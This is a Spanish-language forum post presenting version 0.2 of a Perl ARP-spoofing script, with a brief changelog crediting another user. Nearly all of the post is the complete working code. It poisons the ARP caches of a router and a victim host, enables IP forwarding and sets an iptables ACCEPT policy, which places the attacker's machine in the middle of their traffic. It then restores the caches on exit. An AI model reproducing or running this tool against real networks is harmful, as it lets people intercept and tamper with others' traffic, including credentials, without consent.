Gracias a las ideas de averno saco la v0.2
v0.2:
v0.2:
- IPTables forwarding añadido (gracias averno)
- Restauración de mac's originales y forwarding
- Mas info en ejecucion
Screenshot:
Wireshark dump:
Code:Código [Seleccionar]#!/usr/bin/perl
# Perl ARP-Spoofer By Login-Root
# Long life Camacho Tequila
# 2011 shit
# Run it as root
# Net::ARP & Net::Ping requerido
use Net::ARP;
use Net::Ping;
if ($< != 0)
{
print "\n[!] Run it as root\n\n";
exit(0);
}
if(!$ARGV[2])
{
print "\n###########################################";
print "\n# Perl ARP-Spoofer v0.2 | Login-Root Pwnz #";
print "\n###########################################";
print "\n\nUse: perl $0 [INTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
exit(0);
}
sub finaliza
{
print "\n\n[!] Restaurando cache ARP de host's remotos\n";
print "\n[+] $host1 is-at $mac1 (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
print "\n[+] $host2 is-at $mac2 (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
print "\n\n[!] Deshabilitando forwarding...";
open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error abriendo ip_forward";
print FORWD "0";
close(FORWD);
system("iptables -P FORWARD DROP");
print "\n[!] Saliendo...\n\n";
exit(0);
}
($dev, $host1, $host2) = @ARGV;
print "\n[+] Perl ARP-Spoofer v0.2 starting | Login-Root [+]\n";
$lmac = Net::ARP::get_mac($dev);
print "\n[!] MAC Local : $lmac";
my $ping = Net::Ping->new('icmp');
$ping->ping($host1, 2);
$ping->ping($host2, 2);
$mac1 = Net::ARP::arp_lookup($dev,$host1);
$mac2 = Net::ARP::arp_lookup($dev,$host2);
print "\n[!] MAC Host 1: $mac1";
print "\n[!] MAC Host 2: $mac2";
print "\n\n[!] Habilitando forwarding...";
open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error abriendo ip_forward";
print FORWD "1";
close(FORWD);
# (thnx averno)
system("iptables -P FORWARD ACCEPT");
print "\n\n[!] Comenzando ARP-Spoofing entre $host1 & $host2, Ctrl-C para finalizar...\n";
while(1)
{
$SIG{INT} = \&finaliza;
sleep(1);
print "\n[+] $host1 is-at $lmac (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
print "\n[+] $host2 is-at $lmac (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');
}
__END__